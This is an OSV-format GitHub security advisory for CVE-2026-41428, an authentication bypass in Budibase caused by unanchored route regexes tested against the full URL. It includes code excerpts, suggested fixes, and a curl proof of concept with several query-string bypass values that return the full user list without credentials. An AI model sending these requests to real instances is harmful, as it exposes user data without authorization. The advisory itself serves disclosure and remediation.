{"id":"GHSA-8783-3wgf-jggf","summary":"Budibase: Authentication Bypass via Unanchored Regex in Public Endpoint Matcher — Unauthenticated Access to Protected Endpoints","details":"### Summary\n\nThe `authenticated` middleware uses unanchored regular expressions to match public (no-auth) endpoint patterns against `ctx.request.url`. Since `ctx.request.url` in Koa includes the query string, an attacker can access any protected endpoint by appending a public endpoint path as a query parameter. For example, `POST /api/global/users/search?x=/api/system/status` bypasses all authentication because the regex `/api/system/status/` matches in the query string portion of the URL.\n\n### Details\n\n**Step 1 — Public endpoint patterns compiled without anchors**\n\n`packages/backend-core/src/middleware/matchers.ts`, line 26:\n\n```typescript\nreturn { regex: new RegExp(route), method, route }\n```\n\nNo `^` prefix, no `$` suffix. The regex matches anywhere in the test string.\n\n**Step 2 — Regex tested against full URL including query string**\n\n`packages/backend-core/src/middleware/matchers.ts`, line 32:\n\n```typescript\nconst urlMatch = regex.test(ctx.request.url)\n```\n\nKoa's `ctx.request.url` returns the full URL including query string (e.g., `/api/global/users/search?x=/api/system/status`). The regex `/api/system/status` matches in the query string.\n\n**Step 3 — publicEndpoint flag set to true**\n\n`packages/backend-core/src/middleware/authenticated.ts`, lines 123-125:\n\n```typescript\nconst found = matches(ctx, noAuthOptions)\nif (found) {\n  publicEndpoint = true\n}\n```\n\n**Step 4 — Worker's global auth check skipped**\n\n`packages/worker/src/api/index.ts`, lines 160-162:\n\n```typescript\n.use((ctx, next) =\u003e {\n  if (ctx.publicEndpoint) {\n    return next()        // ← SKIPS the auth check below\n  }\n  if ((!ctx.isAuthenticated || ...) && !ctx.internal) {\n    ctx.throw(403, \"Unauthorized\")   // ← never reached\n  }\n})\n```\n\nWhen `ctx.publicEndpoint` is `true`, the 403 check at line 165-168 is never executed.\n\n**Step 5 — Routes without per-route auth middleware are exposed**\n\n`loggedInRoutes` in `packages/worker/src/api/routes/endpointGroups/standard.ts` line 23:\n\n```typescript\nexport const loggedInRoutes = endpointGroupList.group()   // no middleware\n```\n\nEndpoints on `loggedInRoutes` have NO secondary auth check. The global check at `index.ts:160-169` was their only protection.\n\n**Affected endpoints (no per-route auth — fully exposed):**\n- `POST /api/global/users/search` — search all users (emails, names, roles)\n- `GET /api/global/self` — get current user info\n- `GET /api/global/users/accountholder` — account holder lookup\n- `GET /api/global/template/definitions` — template definitions\n- `POST /api/global/license/refresh` — refresh license\n- `POST /api/global/event/publish` — publish events\n\n**Not affected (have secondary per-route auth that blocks undefined user):**\n- `GET /api/global/users` — on `builderOrAdminRoutes` which checks `isAdmin(ctx.user)` → returns false for undefined → throws 403\n- `DELETE /api/global/users/:id` — on `adminRoutes` → same secondary check blocks it\n\n### PoC\n\n```bash\n# Step 1: Confirm normal request is blocked\n$ curl -s -o /dev/null -w \"%{http_code}\" \\\n    -X POST -H \"Content-Type: application/json\" -d '{}' \\\n    \"https://budibase-instance/api/global/users/search\"\n403\n\n# Step 2: Bypass auth via query string injection\n$ curl -s -X POST -H \"Content-Type: application/json\" -d '{}' \\\n    \"https://budibase-instance/api/global/users/search?x=/api/system/status\"\n{\"data\":[{\"email\":\"admin@example.com\",\"admin\":{\"global\":true},...}],...}\n```\n\nWithout auth → 403. With `?x=/api/system/status` → returns all users.\n\nAny public endpoint pattern works as the bypass value:\n- `?x=/api/system/status`\n- `?x=/api/system/environment`\n- `?x=/api/global/configs/public`\n- `?x=/api/global/auth/default`\n\n### Impact\n\nAn unauthenticated attacker can:\n1. **Enumerate all users** — emails, names, roles, admin status, builder status via `/api/global/users/search`\n2. **Discover account holder** — identify the instance owner via `/api/global/users/accountholder`\n3. **Trigger license refresh** — potentially disrupt service via `/api/global/license/refresh`\n4. **Publish events** — inject events into the event system via `/api/global/event/publish`\n\nThe user search is the most damaging — it reveals the full user directory of the Budibase instance to anyone on the internet.\n\nNote: endpoints on `builderOrAdminRoutes` and `adminRoutes` are NOT affected because they have secondary middleware (`workspaceBuilderOrAdmin`, `adminOnly`) that independently checks `ctx.user` and throws 403 when it's undefined. Only `loggedInRoutes` endpoints (which rely solely on the global auth check) are exposed.\n\n### Suggested Fix\n\nTwo options (both should be applied):\n\n**Option A — Anchor the regex:**\n```typescript\n// matchers.ts line 26\nreturn { regex: new RegExp('^' + route + '(\\\\?|$)'), method, route }\n```\n\n**Option B — Use ctx.request.path instead of ctx.request.url:**\n```typescript\n// matchers.ts line 32\nconst urlMatch = regex.test(ctx.request.path)  // excludes query string\n```","aliases":["CVE-2026-41428"],"modified":"2026-05-05T16:11:35.473841Z","published":"2026-04-16T22:40:59Z","database_specific":{"severity":"CRITICAL","github_reviewed":true,"github_reviewed_at":"2026-04-16T22:40:59Z","nvd_published_at":"2026-04-24T20:16:27Z","cwe_ids":["CWE-287"]},"references":[{"type":"WEB","url":"https://github.com/Budibase/budibase/security/advisories/GHSA-8783-3wgf-jggf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41428"},{"type":"PACKAGE","url":"https://github.com/Budibase/budibase"}],"affected":[{"package":{"name":"@budibase/backend-core","ecosystem":"npm","purl":"pkg:npm/%40budibase/backend-core"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"3.35.3"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-8783-3wgf-jggf/GHSA-8783-3wgf-jggf.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H"}]}